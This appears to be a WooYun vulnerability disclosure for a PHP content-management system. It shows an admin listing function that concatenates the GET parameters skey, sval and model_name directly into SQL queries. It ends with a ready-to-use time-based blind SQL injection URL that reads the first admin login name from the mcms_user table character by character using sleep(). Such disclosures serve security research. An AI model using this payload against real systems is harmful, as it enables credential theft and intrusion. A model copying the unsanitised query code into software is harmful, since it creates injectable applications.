WooYun.org

function m__list(){
    global $dbm,$result,$C,$tpl,$model_name,$p;
    $model_name=isset($_GET['model_name'])?trim($_GET['model_name']):'';
 
    if($tpl=='attr') {
        $sql = "select * from " . TB_PRE . "model where model_name='$model_name'";
        $rs = $dbm->query($sql);
        if (count($rs['list']) == 0) H::error_show('{"code":1,"msg":"模型不存在"}');	
        $sql = "select * from " . TB_PRE . "model_fields where model_name='$model_name' order by forder asc";
        $rs = $dbm->query($sql);
        $result['list'] = $rs['list'];
    }elseif($tpl=='data') {
        if(!$C->model_table_exists($model_name)) H::error_show('{"code":1,"msg":"模型表不存在"}'); 
        $_GET['stype']=isset($_GET['stype'])?intval($_GET['stype']):1;//精确OR模糊，0=模糊，1=精确
        $_GET['skey']=isset($_GET['skey'])?trim($_GET['skey']):'';
        $_GET['sval']=isset($_GET['sval'])?trim($_GET['sval']):'';
        if($_GET['skey']!='') {
            if ($_GET['stype'] == 0) {
                $params['where']=$_GET['skey']." like '%".$_GET['sval']."%'";
            } else {
                $params['where']=$_GET['skey']."='".$_GET['sval']."'";
            }
        }
        $params['table_name'] = TB_PRE . "$model_name";
        $params['count'] = 1;
        $params['suffix'] = " order by " . $model_name . "_id desc ";
        $params['pagesize'] = get_pagesize(PAGESIZE_ADMIN);
        $params['suffix'] .= $dbm->get_limit_sql($params['pagesize'], $p);
        $result = $dbm->single_query($params);
        foreach($result['list'] as $k=>$v){//print_r($v);
            //日期特殊处理
            foreach($v as $k1=>$v1){
                $tmp_fields=$C->model[$model_name]['fields'];
                if(isset($tmp_fields[$k1]) && $tmp_fields[$k1]['form_type']=='date'){ //print_r($v1);
                   $result['list'][$k][$k1]=date('Y-m-d',$v[$k1]);
                }
            }
        }
        //print_r($result);die();
    }elseif($tpl=='data.edit'){
        if(!$C->model_table_exists($model_name)) H::error_show('{"code":1,"msg":"模型表不存在"}');
        $id=isset($_GET['id'])?intval($_GET['id']):0;
        if($id>0){
            $rs=$dbm->query("select * from ".TB_PRE.$model_name." where ".$model_name."_id='$id' limit 1");//print_r($rs);
            $result=array($model_name.'_id'=>0);
            if(count($rs['list'])==1) $result=$rs['list'][0];
        }else{
            $result=array($model_name.'_id'=>0);
        }
    }else{
        $sql="select * from ".TB_PRE."model order by model_type asc";
        $rs=$dbm->query($sql);
        $result['list']=$rs['list'];
        foreach($result['list'] as $k=>$v){
            $result['list'][$k]['total']='<font color=red>未建表</font>';
            $has=$C->model_table_exists($v['model_name']);//var_dump($has);
            if($has){//表存在，查询数据总数
                $sql="select count(*) as t from ".TB_PRE.$v['model_name'];//echo($sql);
                $rs=$dbm->scalar($sql);
                $result['list'][$k]['total']=$rs['t'];
            }
        }
    }
}

/app/public/model.php?tpl=data&model_name=adv&stype=1&skey=title&sval='/**/or(select/**/if(ord(mid((select/**/login_name/**/from/**/mcms_user/**/limit/**/0,1),1,1))%3d108,sleep(1),0))%23&p=1